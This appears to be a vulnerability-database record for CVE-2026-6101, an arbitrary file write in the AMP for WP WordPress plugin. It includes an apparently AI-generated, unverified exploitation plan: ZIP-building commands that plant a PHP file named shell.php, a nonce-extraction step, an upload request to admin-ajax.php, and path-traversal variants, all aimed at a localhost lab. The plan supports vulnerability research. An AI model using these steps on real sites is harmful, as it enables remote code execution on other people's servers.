[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fD7LRoO-qLtFba4uZrD6GwMlk71eC0vzSQTDLchZebY4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-6101","amp-for-wp-authenticated-author-arbitrary-file-write-via-role-based-access-configuration-with-local-font-upload","AMP for WP \u003C= 1.1.12 - Authenticated (Author+) Arbitrary File Write via Role-Based Access Configuration with Local Font Upload","The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.","accelerated-mobile-pages",null,"\u003C=1.1.12","1.1.13","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","External Control of File Name or Path","2026-07-06 00:00:00","2026-07-07 13:32:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb594d0e9-d805-48b9-bfd4-4cc77dd3a70e?source=api-prod",2,[22,23,24,25,26,27,28,29],"accelerated-moblie-pages.php","changelog.txt","includes\u002Foptions\u002Fadmin-config.php","includes\u002Fvendor\u002Ftool\u002FOptimizer\u002FTransformer\u002FServerSideRendering.php","readme.txt","templates\u002Fdesign-manager\u002Fdesign-1\u002Felements\u002Fsocial-icons.php","templates\u002Fdesign-manager\u002Fdesign-2\u002Felements\u002Fsocial-icons.php","templates\u002Fdesign-manager\u002Fdesign-3\u002Felements\u002Fsocial-icons.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-6101\n\n## 1. Vulnerability Summary\nThe **AMP for WP** plugin (versions \u003C= 1.1.12) contains an **Arbitrary File Write** vulnerability within the `ampforwp_save_local_font()` function. The vulnerability arises from unsafe extraction of ZIP archives combined with an incomplete cleanup process. When a user uploads a ZIP file for a \"Local Font,\" the plugin extracts its contents into a web-accessible directory (typically under `wp-content\u002Fuploads\u002Fampforwp-fonts\u002F`). If the archive contains non-font files (like PHP shells) or nested directories, the plugin's cleanup logic fails to recursively remove them, allowing the files to persist on the server.\n\nThis is exploitable by authenticated users with **Author** privileges or higher, provided that the **Role Manager** configuration in the plugin settings has been enabled by an Administrator to allow these roles access to the AMP settings panel.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n- **Action:** `ampforwp_local_font_upload` (inferred from function naming)\n- **Parameter:** `font_zip` (The multipart\u002Fform-data file upload)\n- **Authentication:** Author level or higher (Requires \"Role Manager\" to be configured to allow Authors access).\n- **Preconditions:**\n    1. Plugin version \u003C= 1.1.12 installed.\n    2. An Administrator must enable \"Author\" access in **AMP Settings > Role Manager**.\n\n## 3. Code Flow\n1. **Entry Point:** An AJAX request is sent to `admin-ajax.php` with the action `ampforwp_local_font_upload`.\n2. **Authorization:** The handler checks if the current user has access to the AMP settings (which is true for Authors if the Role Manager is configured).\n3. **Nonce Verification:** The handler verifies a nonce (likely `ampforwp_local_font_nonce`).\n4. **Sink (`ampforwp_save_local_font()`):**\n    - The function receives the uploaded ZIP file.\n    - It defines a destination directory, usually `wp-content\u002Fuploads\u002Fampforwp-fonts\u002F[unique_id]\u002F`.\n    - It uses `unzip_file()` (WP Core) or `ZipArchive::extractTo` to unpack the ZIP.\n    - **Vulnerability:** It fails to validate that the extracted files are strictly fonts (`.ttf`, `.woff`, etc.).\n    - **Cleanup Failure:** If the plugin detects the upload is \"invalid\" or after processing, it attempts to delete the temporary extraction folder. However, it uses a non-recursive deletion method (like `rmdir` or a shallow `unlink` loop) that fails to remove nested directories or files with unexpected extensions, leaving the PHP payload on the disk.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized in the AMP settings page for users who have access to the dashboard.\n\n1. **Prerequisite:** An Administrator must grant the \"Author\" role access.\n    - **Command:** `wp option patch insert redux_builder_amp ampforwp-role-manager-author 1` (Simulating the UI toggle).\n2. **Navigation:** Navigate to the AMP options page as the Author user.\n    - **URL:** `\u002Fwp-admin\u002Fadmin.php?page=ampforwp-options`\n3. **Extraction:** Use `browser_eval` to extract the nonce from the `ampforwp_ajax_obj` JavaScript object (the standard localization object for this plugin).\n    - **JS Script:** `window.ampforwp_ajax_obj?.font_upload_nonce` (or check `window.ampforwp_obj`).\n\n## 5. Exploitation Strategy\n### Step 1: Payload Preparation\nCreate a ZIP file containing a PHP payload inside a subdirectory to bypass shallow cleanup.\n```bash\nmkdir -p poc_font\u002Fnested\necho \"\u003C?php echo 'CVE-2026-6101-Exploited'; phpinfo(); ?>\" > poc_font\u002Fnested\u002Fshell.php\nzip -r exploit.zip poc_font\n```\n\n### Step 2: Role Manager Activation (Administrator)\nEnable Author access to the settings panel.\n- **Request:** POST to `wp-admin\u002Fadmin-ajax.php` with action `redux_ajax_save` or use WP-CLI:\n  `wp option patch update redux_builder_amp ampforwp-role-manager-author 1`\n\n### Step 3: Nonce Extraction (Author)\nNavigate to the AMP settings as Author and extract the nonce using:\n`browser_eval(\"ampforwp_ajax_obj.font_upload_nonce\")`\n\n### Step 4: Execute File Write\nSend the multipart\u002Fform-data request to the AJAX endpoint.\n- **Tool:** `http_request`\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (Multipart):**\n    - `action`: `ampforwp_local_font_upload`\n    - `font_zip`: (Binary data of `exploit.zip`)\n    - `nonce`: `[EXTRACTED_NONCE]`\n\n### Step 5: Trigger RCE\nAccess the uploaded file. The path is typically determined by the ZIP name or a timestamped folder.\n- **Likely Path:** `\u002Fwp-content\u002Fuploads\u002Fampforwp-fonts\u002Fpoc_font\u002Fnested\u002Fshell.php`\n\n## 6. Test Data Setup\n1. **User Creation:** `wp user create author_tester author@example.com --role=author --user_pass=password123`\n2. **Plugin Activation:** `wp plugin activate accelerated-mobile-pages`\n3. **Role Configuration:** `wp option patch insert redux_builder_amp ampforwp-role-manager-author 1`\n4. **Directory Check:** Ensure `wp-content\u002Fuploads` is writable.\n\n## 7. Expected Results\n- The AJAX response should return a status indicating the font upload was processed (possibly a failure message like \"Invalid font file,\" which triggers the failed cleanup).\n- A PHP file should be written to `wp-content\u002Fuploads\u002Fampforwp-fonts\u002F`.\n- Accessing the PHP file via a GET request should return the string `CVE-2026-6101-Exploited`.\n\n## 8. Verification Steps\n- **HTTP Verification:** `http_request(\"GET\", \"http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fampforwp-fonts\u002Fpoc_font\u002Fnested\u002Fshell.php\")`\n- **CLI Verification:** `wp eval 'echo file_exists(WP_CONTENT_DIR . \"\u002Fuploads\u002Fampforwp-fonts\u002Fpoc_font\u002Fnested\u002Fshell.php\") ? \"EXISTS\" : \"MISSING\";'`\n\n## 9. Alternative Approaches\n- **Path Traversal:** If the extraction destination is relative to the ZIP content, attempt a filename like `..\u002F..\u002Fshell.php` inside the ZIP to write directly to the `uploads\u002F` root or the plugin directory.\n- **Generic Settings Save:** If `ampforwp_local_font_upload` is not the direct action, check if the typography settings are saved via the standard Redux AJAX save, and look for a `font_zip` handler within the Redux save pipeline.\n- **Pre-authentication:** Check if `wp_ajax_nopriv_ampforwp_local_font_upload` exists (unlikely given the description, but worth a quick grep).","gemini-3-flash-preview","2026-07-25 09:25:00","2026-07-25 09:26:07",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.1.12","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faccelerated-mobile-pages\u002Ftags\u002F1.1.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faccelerated-mobile-pages.1.1.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faccelerated-mobile-pages\u002Ftags\u002F1.1.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faccelerated-mobile-pages.1.1.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faccelerated-mobile-pages\u002Ftags"]